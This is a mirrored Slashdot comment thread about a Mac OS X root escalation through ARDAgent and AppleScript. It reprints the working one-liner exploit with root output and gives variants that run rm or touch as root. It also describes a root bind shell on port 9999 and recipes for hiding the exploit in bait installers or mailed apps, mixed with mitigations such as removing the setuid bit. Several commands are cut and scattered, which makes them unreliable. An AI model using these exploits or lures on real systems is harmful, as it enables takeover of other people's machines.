Slashdot Mirror
Mac OS X Root Escalation Through AppleScript
An anonymous reader writes "Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through AppleScript: osascript -e 'tell app "ARDAgent" to do shell script "whoami"'; Works for normal users and admins, provided the normal user wasn't switched to via fast user switching. Secure? I think not." On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.
ARD = Apple Remote Desktop You can remove it by following these instructions.
Could somebody explain how running a script requires physical access?
A proud member of the Onion-in-Hand alliance
It seems perfectly serious since one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be 'stopped at the gate' by that policy.
I'm not familiar with AppleScript but that doesn't sound like it requires physical access to me. Can't you SSH or remote desktop into an OS X server and run that command to get root access? That seems like a serious vulnerability to me.
I might be misinterpreting you, so I apologize if I am. However, it sounds like you're saying that in order to have this code work, "Screen Sharing" needs to be enabled in the Sharing preferences. This is not true.
Even as a normal user on my mac, the exploit code works.
:wq
But Apple have made exactly the same marketing mistakes that Microsoft did in selling their respective OSes as ones that can be used easily by people with no knowledge of computers - people still click on attachments they shouldn't, still give their passwords to phishing web sites and still don't install regular security updates and scan their PCs for virii.
And in the case of this specific exploit, I am sure that a number of newbie Apple users would happily tap in "osascript -e 'tell app "ARDAgent" to do shell script "whoami"'" into their computers purely because "Jim The Friendly Computer Support Engineer" told them to do it.
So let's not beat about the bush - ANY exploit that isn't fixed as quickly as possible is a problem because there's always at least one spotty teenager trying to become a HAX0R who is prepared to try his luck against some poor unwitting user.
Gentoo Linux - another day, another USE flag.
Admittedly most OS X users probably don't have any kind of remote shell access enabled, but this does seem to be a problem...
Nope. You cannot do it via SSH unless that account is already logged in physically, at the console. versus:Verified, on my Leopard box. SSH'ed to it and rooted it (I was able to touch a file in a root-only directory)
Other reply -- Medieval_Gnome -- is absolutely correct. Unless you've DELETED by hand the Apple Remote Desktop files, the exploit works. I do not have ARD enabled, and the exploit works.
who needs a source, it works. tried on my mac, output is: root
/" and
so i tried replacing "whoami" with "rm -rf
!@#ca$a%H&(
+++NO CARRIER
Okay, so I tested it and the whoami returns 'root'.
/Users/me/Downloads/test.txt"'
However, I also logged out of my account and into an account that has no permissions to access my regular home directory (normally I log in with short name "me"), then ran:
osascript -e 'tell app "ARDAgent" to do shell script "touch
It doesn't do anything for a long time, and then returns
execution error: ARDAgent got an error: AppleEvent timed out. (-1712)
Same thing happens if I bundle the command into a sh file and try to execute that instead. I am not a hacker, but it would seem, at least at first glance, that ARDAgent is not entirely privileged.
-Ryan
AUWYHSTOT (Acronyms are Useless When You Have to Spell Them Out Too)
Not really, I didn't turn on Remote Desktop Sharing, but I get the same output...
First, yes, this is a serious bug. It's a classic blunder, like getting into a land war in Asia, and is similar to the in NT3.51's scheduler to get LOCALSYSTEM rights, or the one in /bin/write in 2BSD to get a root shell.
It's also easy to fix.
And I am about 99 44/100 percent sure that there's more undiscovered holes like this in OS X, Windows Vista, and any random Linux desktop you could name.
THe thing is, it's not true that "one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be 'stopped at the gate' by that policy". It's not. You can protect the OS from the malware, but the malware can still hide, still restart itself after a reboot, and still destroy everything you actually CARE about without root access. And malware can similarly break out of Vista's jail around IE, and whatever APple does along those lines.
Security is like sex. Once you're penetrated you're ****ed.
The biggest advantage that Apple has is that Safari doesn't (any more) have a mechanism (at least not by default) to blithely execute outside a *closed* sandbox (not a leaky one) any random malware that can convince it that it's safe and trusted. That's the biggest security problem Windows has. ActiveX and all its kin. It's harder to penetrate OS X in the first place... you pretty much have to depend on social engineering... and people CAN learn not to be social-engineered.
Yes, but does it run on Linux^H^H^H^H^Hcoffee-makers?
Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
Never!
It does not matter if the service is enabled or not, osascript will execute the application for you.
It's not like we don't have a simple workaround:
sudo chmod 000
Perhaps you might consider evaluating the rest of the
No, what's good about Linux, and to a slightly lesser extend OSX, is that Unix is an incredibly simple system at it's core, so there are relatively few possible exploitation vectors and they are all well understood.
http://spamdecoy.net - free throwaway anonymous email - avoid spam!
Read replies to post above. I've also myself tested it on a machine with ARD disabled. Works just fine.
Buffalo buffalo Buffalo buffalo buffalo buffalo Buffalo buffalo!
You do realize that the comment you linked is dead wrong and it does in fact work on OSX out-of-the-box, right? I just tried it on my macbook pro which has Leopard and I have made no modifications to it. It works.
I have confirmed the above assessment by 'pudge', that in order for the exploit to work, an account that is logged into the console, needs to be utilized from an SSH connection.
Tested it my self remotely.
Regards,
Ryan Pritchard
Fun Extends All Basic Life Expectancies
My apologies. There was no article sourced in the posting and I couldn't recreate the exploit on any of the Macs in my house via SSH *or* with local physical access via Terminal.app. I kept getting:
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
No matter whether I tried ssh from remote, or local console bash.
Tested on a MacBook Pro running 10.5.3, an iBook running 10.4.11 and a g5 PPC OS X Server running 10.4.11 (Server build).
So....YMMV....
JUMP JUMP JUMP JUMP JUMP JUMP JUMP JUMP IRRIGATE
More Twoson than Cupertino
This code could easily be wrapped into the preflight scripts for an Installer package in OS X, or integrated into any piece of malware to escalate itself to root without any user interaction beyond downloading it and launching it. In this sense, the arguments against the DNSChanger Trojan Horse of "it requires an admin password to be installed" becomes null and void. This is fairly serious, folks. One-click privilege escalation is way too easy for script-kiddies and professional malware distributers alike to integrate into their nasty programs.
I found another privelege escalation!
$ su
Password:
#
mod me funny
I can't get the script to successfully run anything other than "whoami". Has anyone else found this to actually be exploitable... or is this just a silly "hey lets make terminal output scary characters" game?
Modding Trolls +1 inciteful since 1999
My IQ is 162 and I didn't get your joke. Just how smart do you have to be to get that one?
Modding Trolls +1 inciteful since 1999
I kept getting this. Out of luck, at one point it worked and I got "root"; after that, I kept getting only my regular user. Restarting /System/Library/CoreServices/RemoteManagement/ARDAgent.app made it give me root again, consistently.
I tried some variations, but I still think this bug is serious enoguh that Apple should do something ASAP!
/etc/whatever"
I tried substituting the "whoami" part for some other command, just like pudge did with "touch", and it worked...
I was thinking how someone could fool a user to execute these commands, but I didn't have success with other variantions.
A simple AppleScript like this won't work:
tell appplication "ARDAgent" to do shell script "touch
As stated by others, it won't work through ssh, but it wouldn't be wise to use ssh to attack a machine, anyways...
So, I think that the only way this will work is through a shell script. An easy trick:
1. Just create some stupid application that people would want to try and install and that looks unsuspicious;
2. Create an installation package, so it looks safe. In this package, use a script for "post-install work" that does whatever you want;
3. Put it up on the web or send through e-mail to your target and wait for them to execute the installer;
4. ???
5. Profit? Well, not necessarily, but...
Since the script will be quite well hidden in the installation package, the user will not suspect the nasty stuff going on in his/her system.
You can, for instance, edit sharing preferences, create a user, or just wreak havoc by deleting some essential system file. The sky is the limit...
I ain't got time to bleed....
All points of time and space are connected.
sudo chmod 755 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
Sheesh ....
-- t. q. tickell
Assumptions:
AppleScripting is only applicable to
"do shell script" is only a problem in the main binary, suid stuff in Resources/ isn't impacted.
Results: Now, I have one of the machines where this exploit isn't working: So, somebody out there who can get it to work, see if: works or not. That might need full pathing, I'm not sure.
My God, it's Full of Source!
OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
You have to have a UID lower than your own IQ, or the IQ of the poster. At least that's what I was told.
Of Code And Men
After about 20 seconds waiting:
23:47: execution error: ARDAgent got an error: Connection is invalid. (-609)
I'm so not impressed.
Lars T.
To the guy who modded me down from perfect to terrible Karma - Apple haters still suck
Firstly, I want to say I'm impressed.
I'm not a Windows Fanatic or a MacEvangelist. I use both Windows and OSX and they both have strengths and weaknesses.
I've seen waaay too many posts here and abroad about vulnerabilities in every OS out there. They are an unfortunate fact of life the IT Universe. However, too many times, when info is posted about Windows vulnerabilities MacEvangelists scream about how secure OSX is and and how Windows stinks. Conversely, when a vulnerability for OSX is posted, many of the same users write it off as a non-issue, too hard to execute, or some problem with the user's configs rather than an actual vulnerability.
I have seen more than the normal number of folks, however, responding to this article with honesty about this exploit and even testing it further. (Let's just hope the underpaid Apple engineers [see other article about that] are listening).
There are those here, though, who seem intent on writing this off as a non-exploit or trying to explain it away. That's where a concept known as "Intellectual Honesty" comes into play. You have to be honest with yourself about what you know and do. Viruses are a fact of life on computers and, while Apple is closed architecture (which by its very nature makes it MUCH more secure than other OSes), it's only a matter of time before real viruses appear for the Apple platform that just won't be able to be explained away.
This article's exploit is a dangerous one to be sure and there are several equivalent Windows bugs. However, for all it's faults, Microsquash does a reasonable job of patching vulnerabilities carefully. Sometimes patching them right takes a little more time than users like, but the patches usually address the problems (although they do sometimes introduce more).
Apple does an "okay" job of patching vulnerabilities, once they admit that they exist.
There's another article about "carpet bombing" attacks via Safari and IE in Windows, and the responders there are perfect examples of the problems I refer to. A goodly number of them seem to be intent that the problem is Windows' fault and not a problem in Safari. Windows has issues, but the security problems exist in the program that's running and it's the programmer's duty to make sure that the APIs and such are called correctly and not in a manner to allow exploit to occure (too many programmers take easy shortcuts that introduce vulnerabilities).
I hate to think it, but I will probably get the ever lovin' crap flamed out of me for saying all of this.
Let me re-iterate. I'm impressed by a lot of the responders here with the unusually high level of Intellectual Honesty from Mac users than I have seen in the past. Let's hope the trend continues.
p.s. I love the "security is like sex" comment above. Well put.
The joke was not a good one, IMHO, but he simpy meant:
"The trick works through SSH if you know the password of the user currently logged on the target machine."
I suppose you would need to be at least smart enough not to brag about a 162 IQ. You might want to re-test. And have your blood lead and mercury levels checked.
If you mod me down, I shall become more powerful than you could possibly imagine.
Yeah, it wasn't my best work.
If you mod me down, I shall become more powerful than you could possibly imagine.
ls:
dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "touch
dan@Geelong:~$ ls -lh
-rw-rw-rw- 1 root wheel 0B Jun 18 14:16
dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "rm
dan@Geelong:~$ ls -lh
ls:
osascript -e 'tell app "ARDAgent" to do shell script "cd
This will download, install, load, and start a plist that provides an interactive bash shell on port 9999, and disables the ipfw firewall (Which is not enabled by default). If you run the above, you can 'nc localhost 9999' and find yourself at a root shell.
To remove, run 'launchctl unload com.apple.bash' 'launchctl unload
It should be noted that this service is accessible even if the application firewall is enabled. The only thing protecting the user at this point is their router firewall, if they have one, and that's easily bypassed with a Python script.
So yeah; anything can be downloaded, and anything can be done with it. Scary.
No worries, dude... My nerdy jokes are never understood by my non-nerd friends or family members. I am pretty used to it by now!
23:47: execution error: ARDAgent got an error: AppleEvent timed out. (-1712) What did I do to magically protect my machine?
"You can't dissect him, predict him, which of course means he's not a lunatic at all."
No, what's good about Linux, and to a slightly lesser extend OSX, is that Unix is an incredibly simple system at it's core, so there are relatively few possible exploitation vectors and they are all well understood.
:)
Unfortunately KDE, Qt, X11, Gtk, Gnome, and the whole "let's make Linux into Windows" desktop hodgepodge that's layered on top of UNIX[1] is incredibly complex, has many components running with elevated privileges, and while it has fewer exploitation vectors than Windows it's conceptually more complex than the NeXTstep-derived equivalents in OS X.
And on top of that, many linux distros have resurrected the absolutely insane concept of Autorun CDs, something Apple was smart enough to abandon back in the dark ages of floppy distribution.
So, all in all, "do not be so proud of this technological terror". I'd go on, but I've got work to do.
[1] No, X11 is not really a UNIX API, it was designed to be platform independent, ran on UNIX and VMS from the start, and completely ignores many of the fundamental design goals of UNIX as well as many of the most useful *results* of those design goals.
Just embed the script in an applescript *.app executable, which many clueless users (I know, I am a Mac sysadmin to some of them) will click on, despite the warnings from the system on trying to start an executable from Mail and on first launching the app.
It's almost like Anna_Kournikova.jpg.vbs all over again.
I know you're making a joke but there's a known race condition in a similar widely-used command.
1. Open Script Edtor
2. type in the following code
tell application "Terminal"
do script "osascript -e 'tell app \"ARDAgent\" to do shell script \"whoami\"';"
end tell
3.Save as NubileRussianTennisPlayer.app
4.Attach as non Windows friendly attachment to a new mail in Mail.app
5.Send to as many hopefully clueless Mac users as possible.
6.Profit
Here's a non-destructive way to neutralize it.
/System/Library/CoreServices/RemoteManagement/
cd
sudo tar -czf ARDAgent.app.gz ARDAgent.app
sudo chmod 600 ARDAgent.app.gz
This simply hides it in an unreadable tarball.
Some drink at the fountain of knowledge. Others just gargle.
$ ssh localhost
Last login: Thu Jun 19 09:35:17 2008
lucas@Hackintosh ~
$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
what am I doing wrong? is this fixed in 10.5.3 or something?
TIAEAE!
Out of three tries:
/System/Library/CoreServices/RemoteManagement/ARDAgent.app /System/Library/CoreServices/RemoteManagement/notARDAgent.app
- the first one just hung; I ctrl-c'd it after a while.
- the second one worked.
- the third one died, with the execution error: ARDAgent got an error: AppleEvent timed out. (-1712) error others are reporting.
(overloaded old 1.25Ghz G4, running 10.4.11 (latest version of Tiger unless they released an update in the past week).
I'm guessing that the osascript command is only willing to wait so long - and my machine's speed and load is such that it's right on the cusp of that time.
Renaming it seemed to work for the moment, though I'm sure it also breaks legit use of Remote Desktop:
$ sudo mv
Password: XYZZY
$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'18:19: syntax error: No user interaction allowed. (-1713)
$ osascript -e 'tell app "wsiofth" to do shell script "whoami"'
17:18: syntax error: No user interaction allowed. (-1713)
egypt urnash minimal art.
Now THAT is scary...
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
Maybe it's an Intel-only thing.
use the 'password reset' utility on the install disk,
There was an unknown error in the submission.
Doesn't look too scary to me. Some kind of hoax maybe?
Caveat Utilitor
There's got to be a temporary solution, while we wait for Apple to fix it.
/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent will do the trick, huh?
I don't use Screen Sharing, so I assume sudo chmod 4744
I think this approach is better than deleting or compressing ARDAgent... Is it?
For those that use Screen Sharing, is there a fix?
If you have physical access to a machine and the disk isn't encrypted, you can get root. How dense do you have to be to find this surprising, or even mildly interesting?
I'm a Programmer. That's one level above Software Engineer and one level below Engineer.
I don't think the GP was saying that you need to have Screen Sharing enabled for the exploit to work at all; you need to have Screen Sharing turned on for someone to run the exploit without physical access to the machine.
I.e., you can't run it over an SSH session; you need the Finder. The only ways to get access to the Finder are either physically, by sitting down in front of the computer, or by using a screen-sharing application like Screen Sharing (Remote Desktop), or VNC.
That was my understanding, at least.
The exploit works, if you have physical access to the machine, regardless of whether you have Screen Sharing enabled or not. However, it's when you have Screen Sharing turned on that it's possibly a remote root to anyone you let access your screen.
It's a bad vulnerability and one that I'd like to see Apple fix ASAP, but it's several steps down from a true unprivileged remote root. It might have negative consequences for shared and lab machines, but for most home and office users it doesn't seem like it means much, unless you typically allow lots of people remote-desktop/VNC access.
"Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.
What about non personal deployments?
Like corporate installations?
Kiosk installations?
Any small business that wants to secure a machine?
How about a class room that you want kiddies to run games but not wipe the OS?
Physical access MEANS if they can access the hardware (inside the case). It DOES NOT mean typing something on the freaking keyboard, when logged in as a low level user.
In the IT world you password lock boot media, lock cases,etc. If an IT person can't secure a machine without removing the keyboard, there MIGHT be a security problem.
(SlashDot Editors? WTF?)
Macs come from the factory with the root account disabled--a user has to manually enable it by using the Directory Utility (or System Preferences in earlier versions of OS X). I doubt that many clueless newbies have done this and clueful oldies should know better since there is little reason to run as root under OS X.
So, can someone explain to me how an exploit can get root of there's no root account?
This ain't rocket surgery.
Um. If you say so.
It's a submission from an anonymous user that doesn't cite any sources. That's pretty shoddy, even by Slashdot standards.
Are you really so lazy that you need a source for something so trivially replicated?
There are shills on slashdot. Apparently, I'm one of them.
Is it really bad for an attacker to find out who I am using this "whoami" thingy?
I am a Mac user, but I am not being a stupid zealot and dismissing the problem as if it's just some minor glitch.
That said, I can now proceed on correcting you. Itunes, safari, flash and quicktime are on just about 99.9% of Macs out there, between those 4 products there is hardly a day goes by that there isn't a publicly known vulnerability Come on, check the facts! I don't really know jack about Flash bugs, but saying that "hardly a day goes... blah blah" is false. iTunes, Safari and QuickTime have their issues, but you're exagerating.
Mine's even worse than yours!
$ sudo su
#
Sarcasm does not make you more handsome or bring you favor with the ladies.
If you mod me Overrated, you are admitting that you have no penis.
Whoops, sorry about that, I intended to post that comment as a reply to the main article, I happened to be reading your comment when I clicked reply... a few too many drinks tonight methinks :-(
Yeah, right.
If you can ssh into an account who is currently using the machine in person (i.e. is logged in) then it will work. As long as the user you are is the currently active user, then it works.
Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
Do you post that for karma everywhere you see sarchasm on slashdot, or am I just a special case?
Okay, so this is a local root escalation.
#1. How many Apple boxes are used for servers ?
aaaaand
#2. How many Apple users don't already have local root access ?
I'm honestly asking, because I have very little experience with Macs in the workplace. How often will one see a Mac user that doesn't have root access ? In the Windows world, it's very common with Active Directory networks and locked-down corporate desktops... is the same true of Apple shops ?
-Billco, Fnarg.com
First and so far only time. I have no problem with sarcasm in general, but when used as an argumentative device it just makes the user look like a tool.
If you mod me Overrated, you are admitting that you have no penis.
chmod 660 /usr/bin/osascript
All better now.
Apple fanbois can now exhale.
Sig this!
I call those "Should I do something stupid" dialogs.
Given that:
* The answer should almost always be "no".
* It's less hassle if it doesn't ask, just doesn't do it.
* Users get trained to answer "yes", because they keep getting them.
Any time you're putting up "Should I do something stupid" dialogs, you're making things easy for people who are trying to use social engineering to install malware.
Here's the history of Apple's experiment with stupid security dialogs in Safari:
http://scarydevil.com/~peter/io/osx-security.html
http://scarydevil.com/~peter/io/apple.html
http://scarydevil.com/~peter/io/apple3.html
http://scarydevil.com/~peter/io/apple4.html
They finally wised up, and removed the "doing something really stupid" bit, by turning off "open Safe files" by default.
Microsoft's been in denial about the same thing since 1997.
http://scarydevil.com/~peter/io/airlines.html
Windows is so much worse than everyone else that people tend to ignore it when Apple or KDE does something slightly less stupid than ActiveX, but it's still stupid, and putting up a "should this plane explode now?" dialog doesn't eliminate the stupidity.
On my Mac (1.4.11, PPC) it fails.
Users noticed in October that Apple's built-in file system permissions verifier really wanted to delete the ARDAgent program (along with several others) because it was user-executable and setuid root. None of the users seemed to understand exactly what this meant...
Apple's reported fix, and I am not making this up:
The entire text below, in case Apple deletes it:
Mac OS X 10.5: Disk Utility's Repair Disk Permissions reports issues with SUID files
* Last Modified: June 06, 2008
* Article: TS1448
* Old Article: 306925
Symptoms
The following messages may appear in the Disk Utility log window when repairing disk permissions.
Warning: SUID file "usr/libexec/load_hdi" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/DiskManagement.framework/Versions/A/Resources/DiskManagementTool" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/Locum" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/Install.framework/Versions/A/Resources/runner" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/Admin.framework/Versions/A/Resources/readconfig" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/Admin.framework/Versions/A/Resources/writeconfig" has been modified and will not be repaired.
Warning: SUID file "usr/libexec/authopen" has been modified and will not be repaired.
Warning: SUID file "System/Library/CoreServices/Finder.app/Contents/Resources/OwnerGroupTool" has been modified and will not be repaired.
Warning: SUID file "System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent" has been modified and will not be repaired.
"Any message that starts with: 'ACL found but not expected on...'."
Products Affected
Mac OS X 10.5
Resolution
You can safely ignore these messages. They are accurate but not a cause for concern.
We recently had heard in the office over one of the Yellow Machine that's made by Anthology Solutions.
right but that still requires certain things to be open which are not out of the box. Doesnt make it a bad exploit (and one Im particularly POd about as I have to use remote desktop for work) but a normal user would not have to worry too much unless they turned SSH or Remote Desktop on, or someone decided to break into their house.
"Slashdot, where telling the truth is overrated but lying is insightful."
If another application can execute malicious code as the current user, that code can just download the file itself.
I tried it and got:
execution error: ARDAgent got an error: "whoami" doesnâ(TM)t understand the do shell script message. (-1708)This is on MacOSX 10.5.3 (9D34) Darwin 9.3.0, Power PC . I have "Remote Login" and "Remote Management" enabled. "Screen Sharing" is under the control of Remote Management.
Haven't tried it on my Intel Mac, or my iMac G5/Tiger . (The iMac stays at Tiger for BitPim and a bunch of games for the kids.)
No, but physical access == need additional security regardless of OS security.
This bug is nothing to scoff at, but it does really only affect people who have untrusted users with local/pseudo-local access to machines, and that group already has increased security concerns regardless of bug like this.
Just tried this on my brand new MacBook (more or less fresh out of the box, less than a week old. I haven't enabled any services, but have upgraded to 10.5.3). Worked like a champ, whoami returns "root". This defintely does work "out of the box".
I don't need a million points of light, just two points of multi-mode fiber and a 10 Gig-E router.
It's only trivially replicated if you have access to a mac. Most of us here probably don't.
1) If you don't have a mac, why do you care about the exploit?
2) If you care that much, but don't have access to Apple hardware, run OS X in virtual machine.
There are shills on slashdot. Apparently, I'm one of them.
Mac: Oh %$#& %$#& %$#& %$#&.
PC: I can relate.
Mac: No!! %$#& %$#& %$#&
PC: Don't feel so glum, Mac, it happens to everyone once in a while. Look at it this way -- its a sign you're growing up.
Mac: NOOOOOOOOOOOOOOOOOOOOOOOOOO.
PC: You know, they can do wonderful things these days with firewall software.
Mac: I want to cut myself.
PC: Not a good idea as a root user, Mac.
Mac: *glowers*
PC: I only kid because I love you.
Help poke pirates in the eyepatch, arr.
It didn't work for me. I had Remote Desktop Sharing off because I normally use OSXvnc; the alleged attack just sat there until I hit Ctrl-C. Even after enabling Remote Desktop Sharing, it bombed out with an error:
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
This is on a G4 mini running 10.4.11; YMMV (and it apparently did).
20 January 2017: the End of an Error.
Sure, if you insert a Ubuntu CD in Ubuntu it recognizes that there are packages there and will ask if you want to have the CD added to your repositories. Yet no software will be installed automatically.
This may have come too late in the comments for anyone to see it, but if the exploit is active on your system, adding a key to ARDAgent's Info.plist makes the problem go away without disabling ARDAgent altogether. (Whether or not ARDAgent is a security vulnerability itself is another story.)
That "YES" is not a typo; setting it to "NO" does not fix the problem. AFAICT this makes osascript expect that ARDAgent will implement more of its own AppleScript handlers...which of course, it doesn't.
P.S. I searched for other, similar problem setuid apps, and turned up check_afp.app (which someone else posted already) and, surprisingly, GoogleUpdaterInstaller. Fortunately, even though these apps run setuid, they won't respond to the "do shell script" attack.
I've compiled and posted a video of this in action and mixed in a bit of NetCat, thus providing an interactive shell for convenience. Check it out at http://fieryferret.com/ard_hack/
Try being nice to them and treating them as equals. They hate that.
Your average optical drive is rather expensive to use as a CD case you know.
Advanced users are users too!
So someone has to be logged into the Desktop at the same time the command is issued (even if issued remotely) and I'm guessing that the account the remote user is logged into probably has to be the same account the desktop user is using.
So Xserve servers should be immune to this via SSH, unless someone else is actively using Remote Desktop at the same time. Interesting!
if you are in Script Editor (AppleScript) already.
;)
Nice try script kiddie.
My even better question is: why is "bah, it requires physical access" seen as an automatic "don't worry about it" around these parts?
/". Etc.
Yes, maybe a home computer doesn't have more people logging in. But:
- Workstations at work have lots of people who can log into them. If I come really early or stay late, I can go to any workstation (and a few laptops) in the building and log in with my own account. If it's possible to escalate your rights from there, I could get access to everyone's local and temporary files. Go see what the department boss is doing. Go see with which suppliers do the purchasing guys deal. I'm sure their competitors will love knowing what kind of discount they could negotiate and still steal that contract. Walk to the other building and get the CAD guys' designs.
Plus there are a lot of people who can physically get near any computer, up to CEO level. Like, say, the janitors.
- Servers even more so. There are servers where hundreds of people can log in. If you can escalate your rights to root, you can get to their files. Or you can install some rootkit on the bloody server. Or even one disgruntled L1 support guy about to quit can escalate his rights, reconfigure the backups, and do a "rm -rf
So basically not arguing with your point, but even _if_ the answer were "OMG, you need to be physically at that computer" or "OMG you'd need to be logged in anyway", it still wouldn't be much of a saving grace. There _are_ more uses for computers than as someone's email and surfing rig at home.
A polar bear is a cartesian bear after a coordinate transform.
+++ doesn't precede NO CARRIER like that. It's for switching your terminal mode to issue AT commands directly to the modem. For example if you type +++ATH^æéWÔ5áX6Ë\SSÎh@'ÖØ
NO CARRIER
Confirmed that anyone logged in as Guest (supposed to be a low-privilege account) can use this exploit to get to root.
macbookpro:~ Guest$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
root
Next time your at one of those shows where they have supposedly locked-down machines for webmail etc you know how much to trust them...
Too dumb to think of an original signoff
Given that the exploit requires ARD the 50% statistic seems unlikely to me. At the very least, I seem to be in the other 50%:
osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
23:47: execution error: ARDAgent got an error: Connection is invalid. (-609)
root
23:47: execution error: ARDAgent got an error: AppleEvent timed out. (-1712)
kCGErrorRangeCheck : Window Server communications from outside of session allowed for root and console user only INIT_Processeses(), could not establish the default connection to the WindowServer.Abort trap
23:47: execution error: ARDAgent got an error: AppleEvent timed out. (-1712)
So apparently this only works when an administrator user is logged into the machine, so the effects should be minimal. At the very least, if you leave your machine open, anyone can open a terminal and get root without knowing your password.
I also wasn't able to get it to open any application as root, such as: osascript -e 'tell app "ARDAgent" to do shell script "open -a \"System Preferences.app\""';
What, me worry?
Why not just remove the setuid bit?
/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/
cd
sudo chmod 755 ARDAgent
-> osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
not_root
->
Ditto, same error and set up. I don't know why it doesn't work, which doesn't make it exactly comforting that this does not work.
I don't play with Macs hard enough to know if it actually indicates anything, or if I just need an extra flag or something.
Before OSX, there were all kinds of hacks you could do in the Mac labs. I never even bothered to log into them most of the time, you could get access with a few key strokes. I guess that shows my age though. There probably haven't been OS9 labs in the schools for a while now...
Same here, the command worked once, but when I tried the same command again, I got the same error message than you. On a powerkook 10.5.3. On a macbook pro 10.5.3, the command works everytime. I can't find the difference in the config, only in the hardware.
the osascript command should run whatever commands as the user so it should setuid whatever app its sending the apple event, (in other words setuid what ever its telling "to do shell script" to the user osascript is running as)
Related to the "should I do something stupid" dialog is the "type your admin password to continue" dialog that it's impossible to prevent Apple's installer popping up even if you, the developer, only want to install things in ~/Library rather than /Library.
Thanks, Apple, for training your users these last 8 years to type their admin password at the drop of a hat.
"Wise men talk because they have something to say; fools, because they have to say something" - Plato
Any circumstances where the OS has an "auto run" or "dig through the CD and find out what's on it" function.
Heck, even JPEGs have been used for attack vectors... there can be bugs in any decode program, so on no account should the OS do anything automatically to removable/hotpluggable media.
There are even DOS attacks you can do with mal-formed ISO9660 filesystems. I've kernel panicked big UNIX servers with bad CDs; back when mkisofs had more bugs and I didn't know how to use it....
Any time a computer trusts user-provided data to be correctly formed, you've got a problem.
There are 3 antivirus programs on OS X which are even higher priced than Windows versions using end users CPU on an OS without any known self propagating virus/worm.
All those 3 uses considerable amounts of CPU while claiming they use "Heuristics".
These kinds of issues are happening on all operating systems while I am sure a good commercial antivirus claiming true heuristics would create circus on desktop if one tries to exploit something like that.
Users of these 3 antiviruses (newly released Avast doesn't count, Clam doesn't count) should use it as a benchmark to see if they are sparing their CPU cycles to nothing or not. These kinds of basic issues are great to use as a benchmark of security tools. Especially companies I should say.
Not saying to devalidate your post (which is true) but for the concerned, Apple Open Firmware/EFI Password can be enabled by following instructions at http://support.apple.com/kb/HT1352 . If I had a laptop instead of desktop, I would enable it directly.
Blocks the ability to use the "C" key to start up from an optical disc.
Blocks the ability to use the "N" key to start up from a NetBoot server.
Blocks the ability to use the "T" key to start up in Target Disk Mode (on computers that offer this feature).
Blocks the ability to start up in Verbose mode by pressing the Command-V key combination during startup.
Block the ability to start up a system in Single-user mode by pressing the Command-S key combination during startup.
Blocks a reset of Parameter RAM (PRAM) by pressing the Command-Option-P-R key combination during startup.
Requires the password to use the Startup Manager, accessed by pressing the Option key during startup (see below).
Requires the password to enter commands after starting up in Open Firmware, which is done by pressing the Command-Option-O-F key combination during startup.
Blocks the ability to start up in Safe Boot mode by pressing the Shift key during startup.
(Similar stuff on Intel)
if you insert a Ubuntu CD in Ubuntu it recognizes that there are packages there and will ask if you want to have the CD added to your repositories. Yet no software will be installed automatically.
By adding a repositry to your apt sources you are placing a huge level of trust in the admins of that repositry. That repositry can trivially provide "updated" versions of core system packages so that on the next upgrade run the scripts included in those packages will be executed as root.
note: i'm known as plugwash most places but i screwd up registering that here somehow in the past and now can't register
I'm sorry, I don't quite understand. Are you agreeing with me, disagreeing with me, or making a comment about a related issue... and are you recommending or debunking antivirus software on OS X?
Related to the "should I do something stupid" dialog is the "type your admin password to continue" dialog
/Library, *and* this decision can't be deferred until first run. Like a device driver, for example.
/Library rather than ~/Library.
Actually, for most of the places that dialog pops up, it's not a stupid security dialog. It's verifying that the person sitting in front of the screen is actually authorized to perform an action. The problem is:
1. Because this option is available, Apple hasn't bothered to figure out if there's a less dangerous way of performing a particular action.
2. As you say, it gets invoked in many cases where it's not necessarily going to be required, rather than being deferred until you actually require elevated privileges.
3. Related to the first point, it's led to the use of root privileges where lesser privileges would have sufficed.
4. There are some cases where this dialog is invoked as a stupid security dialog, where you don't actually require elevated privileges at all.
And related to this is the idea that creating an installer is necessary or even desirable. The ONLY time you should need an actual installer is when your application actually needs to install something into
And related to that is the additional restrictions Apple has imposed in Leopard, for example requiring certain plugins to be installed in
Security Theatre, nobody is immune. I've run into all four of the points (1..4) above in UNIX applications, all the way back to when I was at Berkeley in the late '70s. Requiring root to access privileged ports in the BSD TCP stack is a perfect example of security theatre making a system less secure.
The price of security is eternal vigilance, and this is the kind of chickenshit stuff nobody bothers to be vigilant against.
